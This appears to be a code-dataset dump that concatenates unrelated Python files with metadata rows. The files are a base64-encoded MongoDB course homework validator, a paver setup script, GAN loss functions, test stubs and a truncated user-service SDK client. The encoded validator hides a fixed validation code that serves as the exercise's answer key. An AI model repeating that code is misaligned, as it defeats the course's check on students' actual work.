code="CmltcG9ydCBweW1vbmdvCmltcG9ydCB1cmxsaWIyCmltcG9ydCB1cmxsaWIKaW1wb3J0IGNvb2tpZWxpYgppbXBvcnQgcmFuZG9tCmltcG9ydCByZQppbXBvcnQgc3RyaW5nCgojIG1ha2VzIGEgbGl0dGxlIHNhbHQKZGVmIG1ha2Vfc2FsdChuKToKICAgIHNhbHQgPSAiIgogICAgZm9yIGkgaW4gcmFuZ2Uobik6CiAgICAgICAgc2FsdCA9IHNhbHQgKyByYW5kb20uY2hvaWNlKHN0cmluZy5hc2NpaV9sZXR0ZXJzKQogICAgcmV0dXJuIHNhbHQKCgojIHRoaXMgaXMgYSB2YWxpZGF0aW9uIHByb2dyYW0gdG8gbWFrZSBzdXJlIHRoYXQgdGhlIGJsb2cgd29ya3MgY29ycmVjdGx5LgoKZGVmIGNyZWF0ZV91c2VyKHVzZXJuYW1lLCBwYXNzd29yZCk6CiAgICB0cnk6CiAgICAgICAgcHJpbnQgIlRyeWluZyB0byBjcmVhdGUgYSB0ZXN0IHVzZXIgIiwgdXNlcm5hbWUKICAgICAgICBjaiA9IGNvb2tpZWxpYi5Db29raWVKYXIoKQogICAgICAgIHVybCA9ICJodHRwOi8vbG9jYWxob3N0OjgwODIvc2lnbnVwIgoKICAgICAgICBkYXRhID0gdXJsbGliLnVybGVuY29kZShbKCJlbWFpbCIsIiIpLCgidXNlcm5hbWUiLHVzZXJuYW1lKSwgKCJwYXNzd29yZCIscGFzc3dvcmQpLCAoInZlcmlmeSIscGFzc3dvcmQpXSkKICAgICAgICByZXF1ZXN0ID0gdXJsbGliMi5SZXF1ZXN0KHVybD11cmwsIGRhdGE9ZGF0YSkKICAgICAgICBvcGVuZXIgPSB1cmxsaWIyLmJ1aWxkX29wZW5lcih1cmxsaWIyLkhUVFBDb29raWVQcm9jZXNzb3IoY2opKQogICAgICAgIGYgPSBvcGVuZXIub3BlbihyZXF1ZXN0KQoKICAgICAgICAjIGNoZWNrIHRoYXQgdGhlIHVzZXIgaXMgaW4gdGhlIHVzZXIgdGFibGUKICAgICAgICBjb25uZWN0aW9uID0gcHltb25nby5Db25uZWN0aW9uKCJtb25nb2RiOi8vbG9jYWxob3N0Iiwgc2FmZT1UcnVlKQogICAgICAgIGRiID0gY29ubmVjdGlvbi5ibG9nCiAgICAgICAgdXNlcnMgPSBkYi51c2VycwogICAgICAgIHVzZXIgPSB1c2Vycy5maW5kX29uZSh7J19pZCc6dXNlcm5hbWV9KQogICAgICAgIGlmICh1c2VyID09IE5vbmUpOgogICAgICAgICAgICBwcmludCAiQ291bGQgbm90IGZpbmQgdGhlIHRlc3QgdXNlciAiLCB1c2VybmFtZSwgImluIHRoZSB1c2VycyBjb2xsZWN0aW9uLiIKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgcHJpbnQgIkZvdW5kIHRoZSB0ZXN0IHVzZXIgIiwgdXNlcm5hbWUsICIgaW4gdGhlIHVzZXJzIGNvbGxlY3Rpb24iCgogICAgICAgICMgY2hlY2sgdGhhdCB0aGUgdXNlciBoYXMgYmVlbiBidWlsdAogICAgICAgIHJlc3VsdCA9IGYucmVhZCgpCiAgICAgICAgZXhwciA9IHJlLmNvbXBpbGUoIldlbGNvbWVccysiKyB1c2VybmFtZSkKICAgICAgICBpZiBleHByLnNlYXJjaChyZXN1bHQpOgogICAgICAgICAgICByZXR1cm4gVHJ1ZQogICAgICAgIAogICAgICAgIHByaW50ICJXaGVuIHdlIHRyaWVkIHRvIGNyZWF0ZSBhIHVzZXIsIGhlcmUgaXMgdGhlIG91dHB1dCB3ZSBnb3RcbiIKICAgICAgICBwcmludCByZXN1bHQKICAgICAgICAKICAgICAgICByZXR1cm4gRmFsc2UKICAgIGV4Y2VwdDoKICAgICAgICBwcmludCAidGhlIHJlcXVlc3QgdG8gIiwgdXJsLCAiIGZhaWxlZCwgc28geW91ciBibG9nIG1heSBub3QgYmUgcnVubmluZy4iCiAgICAgICAgcmV0dXJuIEZhbHNlCgoKZGVmIHRyeV90b19sb2dpbih1c2VybmFtZSwgcGFzc3dvcmQpOgoKICAgIHRyeToKICAgICAgICBwcmludCAiVHJ5aW5nIHRvIGxvZ2luIGZvciB0ZXN0IHVzZXIgIiwgdXNlcm5hbWUKICAgICAgICBjaiA9IGNvb2tpZWxpYi5Db29raWVKYXIoKQogICAgICAgIHVybCA9ICJodHRwOi8vbG9jYWxob3N0OjgwODIvbG9naW4iCgogICAgICAgIGRhdGEgPSB1cmxsaWIudXJsZW5jb2RlKFsoInVzZXJuYW1lIix1c2VybmFtZSksICgicGFzc3dvcmQiLHBhc3N3b3JkKV0pCiAgICAgICAgcmVxdWVzdCA9IHVybGxpYjIuUmVxdWVzdCh1cmw9dXJsLCBkYXRhPWRhdGEpCiAgICAgICAgb3BlbmVyID0gdXJsbGliMi5idWlsZF9vcGVuZXIodXJsbGliMi5IVFRQQ29va2llUHJvY2Vzc29yKGNqKSkKICAgICAgICBmID0gb3BlbmVyLm9wZW4ocmVxdWVzdCkKCiAgICAgICAgIyBjaGVjayBmb3Igc3VjY2Vzc2Z1bCBsb2dpbgogICAgICAgIHJlc3VsdCA9IGYucmVhZCgpCiAgICAgICAgZXhwciA9IHJlLmNvbXBpbGUoIldlbGNvbWVccysiKyB1c2VybmFtZSkKICAgICAgICBpZiBleHByLnNlYXJjaChyZXN1bHQpOgogICAgICAgICAgICByZXR1cm4gVHJ1ZQoKICAgICAgICBwcmludCAiV2hlbiB3ZSB0cmllZCB0byBsb2dpbiwgaGVyZSBpcyB0aGUgb3V0cHV0IHdlIGdvdFxuIgogICAgICAgIHByaW50IHJlc3VsdAogICAgICAgIHJldHVybiBGYWxzZQogICAgZXhjZXB0OgogICAgICAgIHByaW50ICJ0aGUgcmVxdWVzdCB0byAiLCB1cmwsICIgZmFpbGVkLCBzbyB5b3VyIGJsb2cgbWF5IG5vdCBiZSBydW5uaW5nLiIKICAgICAgICByYWlzZQogICAgICAgIHJldHVybiBGYWxzZQoKCnVzZXJuYW1lID0gbWFrZV9zYWx0KDcpCnBhc3N3b3JkID0gbWFrZV9zYWx0KDgpCgojIHRyeSB0byBjcmVhdGUgdXNlcgoKaWYgKGNyZWF0ZV91c2VyKHVzZXJuYW1lLCBwYXNzd29yZCkpOgogICAgcHJpbnQgIlVzZXIgY3JlYXRpb24gc3VjY2Vzc2Z1bC4gIgogICAgIyB0cnkgdG8gbG9naW4KICAgIGlmICh0cnlfdG9fbG9naW4odXNlcm5hbWUsIHBhc3N3b3JkKSk6CiAgICAgICAgcHJpbnQgIlVzZXIgbG9naW4gc3VjY2Vzc2Z1bC4iCiAgICAgICAgcHJpbnQgIlZhbGlkYXRpb24gQ29kZSBpcyAiLCAiZmhqODM3aGY5Mzc2aGdmOTNoZjgzMmpmOSIKICAgIGVsc2U6CiAgICAgICAgcHJpbnQgIlVzZXIgbG9naW4gZmFpbGVkIgogICAgICAgIHByaW50ICJTb3JyeSwgeW91IGhhdmUgbm90IHNvbHZlZCBpdCB5ZXQuIgoKZWxzZToKICAgIHByaW50ICJTb3JyeSwgeW91IGhhdmUgbm90IHNvbHZlZCBpdCB5ZXQuIgoKCgoKCgoKCg=="
s = base64.b64decode(code)
print s
| 669 | 3,963 | 0.995516 | 10 | 4,014 | 399.6 | 0.7 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096629 | 0.002242 | 4,014 | 5 | 3,964 | 802.8 | 0.901124 | 0 | 0 | 0 | 0 | 0 | 0.985796 | 0.985796 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0.25 | null | null | 0.25 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
ee6130da8822158233973227ba95b8bef1992178 | 62 | py | Python | tests/future_tests/with_future.py | skeledrew/birdseye | 435fbdc370792a325f56416373217b0d5d7b276f | [
"MIT"
] | 1,507 | 2017-10-05T14:44:46.000Z | 2022-03-30T02:37:59.000Z | tests/future_tests/with_future.py | skeledrew/birdseye | 435fbdc370792a325f56416373217b0d5d7b276f | [
"MIT"
] | 58 | 2017-10-07T10:35:47.000Z | 2022-02-25T13:36:40.000Z | tests/future_tests/with_future.py | skeledrew/birdseye | 435fbdc370792a325f56416373217b0d5d7b276f | [
"MIT"
] | 98 | 2017-09-30T11:34:53.000Z | 2022-03-19T16:38:34.000Z | from __future__ import division
def foo():
return 3 / 2
| 10.333333 | 31 | 0.677419 | 9 | 62 | 4.222222 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043478 | 0.258065 | 62 | 5 | 32 | 12.4 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
c990169f110b6d1349d4addc40e7ed85e9dff58a | 155 | py | Python | setup.py | formido/browsercontrol | a4259cf239cdfe439e37ac13c2b7b4329c42198b | [
"BSD-3-Clause"
] | null | null | null | setup.py | formido/browsercontrol | a4259cf239cdfe439e37ac13c2b7b4329c42198b | [
"BSD-3-Clause"
] | null | null | null | setup.py | formido/browsercontrol | a4259cf239cdfe439e37ac13c2b7b4329c42198b | [
"BSD-3-Clause"
] | null | null | null | import os
if os.path.exists("paver-minilib.zip"):
import sys
sys.path.insert(0, "paver-minilib.zip")
import paver.tasks
paver.tasks.main()
| 19.375 | 44 | 0.677419 | 24 | 155 | 4.375 | 0.541667 | 0.228571 | 0.285714 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007813 | 0.174194 | 155 | 7 | 45 | 22.142857 | 0.8125 | 0 | 0 | 0 | 0 | 0 | 0.22973 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
c9fa9a081163d23336d183d3124c64be5ca6057f | 10,488 | py | Python | code/128/training/loss.py | lixuekai2001/3DPmmGAN | 63a15c9eb8699e0f90f2ba524d168ec835f8ebe6 | [
"MIT"
] | null | null | null | code/128/training/loss.py | lixuekai2001/3DPmmGAN | 63a15c9eb8699e0f90f2ba524d168ec835f8ebe6 | [
"MIT"
] | null | null | null | code/128/training/loss.py | lixuekai2001/3DPmmGAN | 63a15c9eb8699e0f90f2ba524d168ec835f8ebe6 | [
"MIT"
] | null | null | null | # Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved.
#
# This work is licensed under the Creative Commons Attribution-NonCommercial
# 4.0 International License. To view a copy of this license, visit
# http://creativecommons.org/licenses/by-nc/4.0/ or send a letter to
# Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.
import tensorflow as tf
import dnnlib.tflib as tflib
from dnnlib.tflib.autosummary import autosummary
#----------------------------------------------------------------------------
# 便捷函数，可将其所有参数转换为tf.float32。
def fp32(*values):
if len(values) == 1 and isinstance(values[0], tuple):
values = values[0]
values = tuple(tf.cast(v, tf.float32) for v in values)
return values if len(values) >= 2 else values[0]
#----------------------------------------------------------------------------
# WGAN和WGAN-GP损失函数。
def G_wgan(G, D, opt, training_set, minibatch_size): # pylint: disable=unused-argument
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
labels = training_set.get_random_labels_tf(minibatch_size)
fake_images_out = G.get_output_for(latents, labels, is_training=True)
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
loss = -fake_scores_out
return loss # Loss_G = -D(G(z))
def D_wgan(G, D, opt, training_set, minibatch_size, reals, labels, # pylint: disable=unused-argument
wgan_epsilon = 0.001): # ε项的值， \epsilon_{drift}.
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
fake_images_out = G.get_output_for(latents, labels, is_training=True)
real_scores_out = fp32(D.get_output_for(reals, labels, is_training=True))
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
real_scores_out = autosummary('Loss/scores/real', real_scores_out)
fake_scores_out = autosummary('Loss/scores/fake', fake_scores_out)
loss = fake_scores_out - real_scores_out
with tf.name_scope('EpsilonPenalty'):
epsilon_penalty = autosummary('Loss/epsilon_penalty', tf.square(real_scores_out))
loss += epsilon_penalty * wgan_epsilon
return loss # Loss_D = D(G(z)) - D(x) + ε·D(x)^2
def D_wgan_gp(G, D, opt, training_set, minibatch_size, reals, labels, # pylint: disable=unused-argument
wgan_lambda = 10.0, # 梯度惩罚项的权重。
wgan_epsilon = 0.001, # ε项的值, \epsilon_{drift}.
wgan_target = 1.0): # 梯度幅度的目标值，即满足1-lipschitz范式所以梯度的模得小于等于1。
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
fake_images_out = G.get_output_for(latents, labels, is_training=True)
real_scores_out = fp32(D.get_output_for(reals, labels, is_training=True))
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
real_scores_out = autosummary('Loss/scores/real', real_scores_out)
fake_scores_out = autosummary('Loss/scores/fake', fake_scores_out)
loss = fake_scores_out - real_scores_out
with tf.name_scope('GradientPenalty'):
mixing_factors = tf.random_uniform([minibatch_size, 1, 1, 1, 1], 0.0, 1.0, dtype=fake_images_out.dtype) # alpha
mixed_images_out = tflib.lerp(tf.cast(reals, fake_images_out.dtype), fake_images_out, mixing_factors)
# 惩罚区的样本为xp = alpha * x + (1 - alpha) * G(z)
mixed_scores_out = fp32(D.get_output_for(mixed_images_out, labels, is_training=True)) # 惩罚区样本的判别值D(xp)
mixed_scores_out = autosummary('Loss/scores/mixed', mixed_scores_out)
mixed_loss = opt.apply_loss_scaling(tf.reduce_sum(mixed_scores_out))
mixed_grads = opt.undo_loss_scaling(fp32(tf.gradients(mixed_loss, [mixed_images_out])[0])) # 惩罚区样本的梯度∇T
mixed_norms = tf.sqrt(tf.reduce_sum(tf.square(mixed_grads), axis=[1,2,3,4])) # 惩罚区样本梯度∇T的模||∇T||
mixed_norms = autosummary('Loss/mixed_norms', mixed_norms)
gradient_penalty = tf.square(mixed_norms - wgan_target) # 惩罚项为(||∇T||-1)^2
loss += gradient_penalty * (wgan_lambda / (wgan_target**2))
with tf.name_scope('EpsilonPenalty'):
epsilon_penalty = autosummary('Loss/epsilon_penalty', tf.square(real_scores_out))
loss += epsilon_penalty * wgan_epsilon
return loss # Loss_D = D(G(z)) - D(x) + η·(||∇T||-1)^2 + ε·D(x)^2
#----------------------------------------------------------------------------
# 铰链损失函数(Hinge Loss)（这些与WGAN中的G损失一起使用）
def D_hinge(G, D, opt, training_set, minibatch_size, reals, labels): # pylint: disable=unused-argument
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
fake_images_out = G.get_output_for(latents, labels, is_training=True)
real_scores_out = fp32(D.get_output_for(reals, labels, is_training=True))
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
real_scores_out = autosummary('Loss/scores/real', real_scores_out)
fake_scores_out = autosummary('Loss/scores/fake', fake_scores_out)
loss = tf.maximum(0., 1.+fake_scores_out) + tf.maximum(0., 1.-real_scores_out)
return loss # Loss_D = max(0,1+D(G(z))) + max(0,1-D(x))
def D_hinge_gp(G, D, opt, training_set, minibatch_size, reals, labels, # pylint: disable=unused-argument
wgan_lambda = 10.0, # 梯度惩罚项的权重。
wgan_target = 1.0): # 梯度幅度的目标值。
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
fake_images_out = G.get_output_for(latents, labels, is_training=True)
real_scores_out = fp32(D.get_output_for(reals, labels, is_training=True))
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
real_scores_out = autosummary('Loss/scores/real', real_scores_out)
fake_scores_out = autosummary('Loss/scores/fake', fake_scores_out)
loss = tf.maximum(0., 1.+fake_scores_out) + tf.maximum(0., 1.-real_scores_out)
with tf.name_scope('GradientPenalty'):
mixing_factors = tf.random_uniform([minibatch_size, 1, 1, 1], 0.0, 1.0, dtype=fake_images_out.dtype)
mixed_images_out = tflib.lerp(tf.cast(reals, fake_images_out.dtype), fake_images_out, mixing_factors)
mixed_scores_out = fp32(D.get_output_for(mixed_images_out, labels, is_training=True))
mixed_scores_out = autosummary('Loss/scores/mixed', mixed_scores_out)
mixed_loss = opt.apply_loss_scaling(tf.reduce_sum(mixed_scores_out))
mixed_grads = opt.undo_loss_scaling(fp32(tf.gradients(mixed_loss, [mixed_images_out])[0]))
mixed_norms = tf.sqrt(tf.reduce_sum(tf.square(mixed_grads), axis=[1,2,3,4]))
mixed_norms = autosummary('Loss/mixed_norms', mixed_norms)
gradient_penalty = tf.square(mixed_norms - wgan_target)
loss += gradient_penalty * (wgan_lambda / (wgan_target**2))
return loss # Loss_D = max(0,1+D(G(z))) + max(0,1-D(x)) + η·(||∇T||-1)^2
#----------------------------------------------------------------------------
def G_logistic_saturating(G, D, opt, training_set, minibatch_size): # pylint: disable=unused-argument
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
labels = training_set.get_random_labels_tf(minibatch_size)
fake_images_out = G.get_output_for(latents, labels, is_training=True)
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
loss = -tf.nn.softplus(fake_scores_out)
return loss # Loss_G = -log(exp(D(G(z))) + 1)
def G_logistic_nonsaturating(G, D, opt, training_set, minibatch_size): # pylint: disable=unused-argument
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
labels = training_set.get_random_labels_tf(minibatch_size)
fake_images_out = G.get_output_for(latents, labels, is_training=True)
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
loss = tf.nn.softplus(-fake_scores_out)
return loss # Loss_G = log(exp(-D(G(z))) + 1) #用的
def D_logistic(G, D, opt, training_set, minibatch_size, reals, labels): # pylint: disable=unused-argument
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
fake_images_out = G.get_output_for(latents, labels, is_training=True)
real_scores_out = fp32(D.get_output_for(reals, labels, is_training=True))
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
real_scores_out = autosummary('Loss/scores/real', real_scores_out)
fake_scores_out = autosummary('Loss/scores/fake', fake_scores_out)
loss = tf.nn.softplus(fake_scores_out)
loss += tf.nn.softplus(-real_scores_out)
return loss # Loss_D = log(exp(D(G(z))) + 1) + log(exp(-D(x)) + 1)
def D_logistic_simplegp(G, D, opt, training_set, minibatch_size, reals, labels, r1_gamma=10.0, r2_gamma=0.0): # pylint: disable=unused-argument
latents = tf.random_normal([minibatch_size] + G.input_shapes[0][1:])
fake_images_out = G.get_output_for(latents, labels, is_training=True)
real_scores_out = fp32(D.get_output_for(reals, labels, is_training=True))
fake_scores_out = fp32(D.get_output_for(fake_images_out, labels, is_training=True))
real_scores_out = autosummary('Loss/scores/real', real_scores_out)
fake_scores_out = autosummary('Loss/scores/fake', fake_scores_out)
loss = tf.nn.softplus(fake_scores_out)
loss += tf.nn.softplus(-real_scores_out)
if r1_gamma != 0.0:
with tf.name_scope('R1Penalty'):
real_loss = opt.apply_loss_scaling(tf.reduce_sum(real_scores_out)) # 惩罚区(来自真实样本)的判别值D(x_real)
real_grads = opt.undo_loss_scaling(fp32(tf.gradients(real_loss, [reals])[0])) # 惩罚区样本的梯度∇T_real
r1_penalty = tf.reduce_sum(tf.square(real_grads), axis=[1,2,3,4]) # 惩罚项为∑(∇T_real^2)
r1_penalty = autosummary('Loss/r1_penalty', r1_penalty)
loss += r1_penalty * (r1_gamma * 0.5)
if r2_gamma != 0.0:
with tf.name_scope('R2Penalty'):
fake_loss = opt.apply_loss_scaling(tf.reduce_sum(fake_scores_out)) # 惩罚区(来自生成样本)的判别值D(x_fake)
fake_grads = opt.undo_loss_scaling(fp32(tf.gradients(fake_loss, [fake_images_out])[0])) # 惩罚区样本的梯度∇T_fake
r2_penalty = tf.reduce_sum(tf.square(fake_grads), axis=[1,2,3,4]) # 惩罚项为∑(∇T_fake^2)
r2_penalty = autosummary('Loss/r2_penalty', r2_penalty)
loss += r2_penalty * (r2_gamma * 0.5)
return loss # Loss_D = log(exp(D(G(z))) + 1) + log(exp(-D(x)) + 1) + r1_gamma*0.5*∑(∇T_real^2) + r2_gamma*0.5*∑(∇T_fake^2)
#----------------------------------------------------------------------------
| 60.275862 | 143 | 0.687643 | 1,594 | 10,488 | 4.241531 | 0.111669 | 0.087857 | 0.059607 | 0.076912 | 0.841296 | 0.831534 | 0.816447 | 0.797811 | 0.761722 | 0.755805 | 0 | 0.024281 | 0.147883 | 10,488 | 173 | 144 | 60.624277 | 0.729999 | 0.177346 | 0 | 0.714286 | 0 | 0 | 0.047108 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075188 | false | 0 | 0.022556 | 0 | 0.172932 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c9fb3331b281c687fea697e327798bf8b5c175c7 | 289 | py | Python | cla_backend/apps/call_centre/tests/api/test_category_api.py | uk-gov-mirror/ministryofjustice.cla_backend | 4d524c10e7bd31f085d9c5f7bf6e08a6bb39c0a6 | [
"MIT"
] | 3 | 2019-10-02T15:31:03.000Z | 2022-01-13T10:15:53.000Z | cla_backend/apps/call_centre/tests/api/test_category_api.py | uk-gov-mirror/ministryofjustice.cla_backend | 4d524c10e7bd31f085d9c5f7bf6e08a6bb39c0a6 | [
"MIT"
] | 206 | 2015-01-02T16:50:11.000Z | 2022-02-16T20:16:05.000Z | cla_backend/apps/call_centre/tests/api/test_category_api.py | uk-gov-mirror/ministryofjustice.cla_backend | 4d524c10e7bd31f085d9c5f7bf6e08a6bb39c0a6 | [
"MIT"
] | 6 | 2015-03-23T23:08:42.000Z | 2022-02-15T17:04:44.000Z | from rest_framework.test import APITestCase
from legalaid.tests.views.test_base import CLAOperatorAuthBaseApiTestMixin
from legalaid.tests.views.mixins.category_api import CategoryAPIMixin
class CategoryTestCase(CLAOperatorAuthBaseApiTestMixin, CategoryAPIMixin, APITestCase):
pass
| 32.111111 | 87 | 0.871972 | 29 | 289 | 8.586207 | 0.62069 | 0.096386 | 0.136546 | 0.176707 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083045 | 289 | 8 | 88 | 36.125 | 0.939623 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 0.6 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
4ebe0ed67d39de52018d0387e86efb911caf4a6b | 411 | py | Python | src/python/WMCore/WMBS/Oracle/Subscriptions/ListSubsAndFilesetsFromWorkflow.py | khurtado/WMCore | f74e252412e49189a92962945a94f93bec81cd1e | [
"Apache-2.0"
] | 21 | 2015-11-19T16:18:45.000Z | 2021-12-02T18:20:39.000Z | src/python/WMCore/WMBS/Oracle/Subscriptions/ListSubsAndFilesetsFromWorkflow.py | khurtado/WMCore | f74e252412e49189a92962945a94f93bec81cd1e | [
"Apache-2.0"
] | 5,671 | 2015-01-06T14:38:52.000Z | 2022-03-31T22:11:14.000Z | src/python/WMCore/WMBS/Oracle/Subscriptions/ListSubsAndFilesetsFromWorkflow.py | khurtado/WMCore | f74e252412e49189a92962945a94f93bec81cd1e | [
"Apache-2.0"
] | 67 | 2015-01-21T15:55:38.000Z | 2022-02-03T19:53:13.000Z | #!/usr/bin/env python
"""
_ListSubsAndFilesetsFromWorkflow_
Oracle implementation of Subscriptions.ListSubsAndFilesetsFromWorkflow
"""
from __future__ import division
from WMCore.WMBS.MySQL.Subscriptions.ListSubsAndFilesetsFromWorkflow import ListSubsAndFilesetsFromWorkflow \
as ListSubsAndFilesetsFromWorkflowMySQL
class ListSubsAndFilesetsFromWorkflow(ListSubsAndFilesetsFromWorkflowMySQL):
pass
| 27.4 | 109 | 0.86618 | 28 | 411 | 12.5 | 0.714286 | 0.251429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085158 | 411 | 14 | 110 | 29.357143 | 0.930851 | 0.306569 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 0.4 | 0 | 0.6 | 0 | 1 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
090540fe2da2ec05d2f6134742d7a2d508dad40b | 8,909 | py | Python | user_service_sdk/api/organization/organization_client.py | easyopsapis/easyops-api-python | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | [
"Apache-2.0"
] | 5 | 2019-07-31T04:11:05.000Z | 2021-01-07T03:23:20.000Z | user_service_sdk/api/organization/organization_client.py | easyopsapis/easyops-api-python | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | [
"Apache-2.0"
] | null | null | null | user_service_sdk/api/organization/organization_client.py | easyopsapis/easyops-api-python | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import sys
import user_service_sdk.api.organization.create_org_pb2
import user_service_sdk.api.organization.disable_org_pb2
import google.protobuf.empty_pb2
import user_service_sdk.api.organization.enable_org_pb2
import user_service_sdk.api.organization.list_org_pb2
import user_service_sdk.api.organization.set_org_expires_pb2
import user_service_sdk.utils.http_util
import google.protobuf.json_format
class OrganizationClient(object):
def __init__(self, server_ip="", server_port=0, service_name="", host=""):
"""
初始化client
:param server_ip: 指定sdk请求的server_ip，为空时走名字服务路由
:param server_port: 指定sdk请求的server_port，与server_ip一起使用, 为空时走名字服务路由
:param service_name: 指定sdk请求的service_name, 为空时按契约名称路由。如果server_ip和service_name同时设置，server_ip优先级更高
:param host: 指定sdk请求服务的host名称, 如cmdb.easyops-only.com
"""
if server_ip == "" and server_port != 0 or server_ip != "" and server_port == 0:
raise Exception("server_ip和server_port必须同时指定")
self._server_ip = server_ip
self._server_port = server_port
self._service_name = service_name
self._host = host
def create_org(self, request, org, user, timeout=10):
# type: (user_service_sdk.api.organization.create_org_pb2.CreateOrgRequest, int, str, int) -> user_service_sdk.api.organization.create_org_pb2.CreateOrgResponse
"""
创建Org[内部]
:param request: create_org请求
:param org: 客户的org编号，为数字
:param user: 调用api使用的用户名
:param timeout: 调用超时时间，单位秒
:return: user_service_sdk.api.organization.create_org_pb2.CreateOrgResponse
"""
headers = {"org": org, "user": user}
route_name = ""
server_ip = self._server_ip
if self._service_name != "":
route_name = self._service_name
elif self._server_ip != "":
route_name = "easyops.api.user_service.organization.CreateOrg"
uri = "/api/v1/org"
requestParam = request
rsp_obj = user_service_sdk.utils.http_util.do_api_request(
method="POST",
src_name="logic.user_service_sdk",
dst_name=route_name,
server_ip=server_ip,
server_port=self._server_port,
host=self._host,
uri=uri,
params=google.protobuf.json_format.MessageToDict(
requestParam, preserving_proto_field_name=True),
headers=headers,
timeout=timeout,
)
rsp = user_service_sdk.api.organization.create_org_pb2.CreateOrgResponse()
google.protobuf.json_format.ParseDict(rsp_obj["data"], rsp, ignore_unknown_fields=True)
return rsp
def disable_org(self, request, org, user, timeout=10):
# type: (user_service_sdk.api.organization.disable_org_pb2.DisableOrgRequest, int, str, int) -> google.protobuf.empty_pb2.Empty
"""
禁用Org[内部]
:param request: disable_org请求
:param org: 客户的org编号，为数字
:param user: 调用api使用的用户名
:param timeout: 调用超时时间，单位秒
:return: google.protobuf.empty_pb2.Empty
"""
headers = {"org": org, "user": user}
route_name = ""
server_ip = self._server_ip
if self._service_name != "":
route_name = self._service_name
elif self._server_ip != "":
route_name = "easyops.api.user_service.organization.DisableOrg"
uri = "/api/v1/org/{id}/disable".format(
id=request.id,
)
requestParam = request
rsp_obj = user_service_sdk.utils.http_util.do_api_request(
method="PUT",
src_name="logic.user_service_sdk",
dst_name=route_name,
server_ip=server_ip,
server_port=self._server_port,
host=self._host,
uri=uri,
params=google.protobuf.json_format.MessageToDict(
requestParam, preserving_proto_field_name=True),
headers=headers,
timeout=timeout,
)
rsp = google.protobuf.empty_pb2.Empty()
google.protobuf.json_format.ParseDict(rsp_obj, rsp, ignore_unknown_fields=True)
return rsp
def enable_org(self, request, org, user, timeout=10):
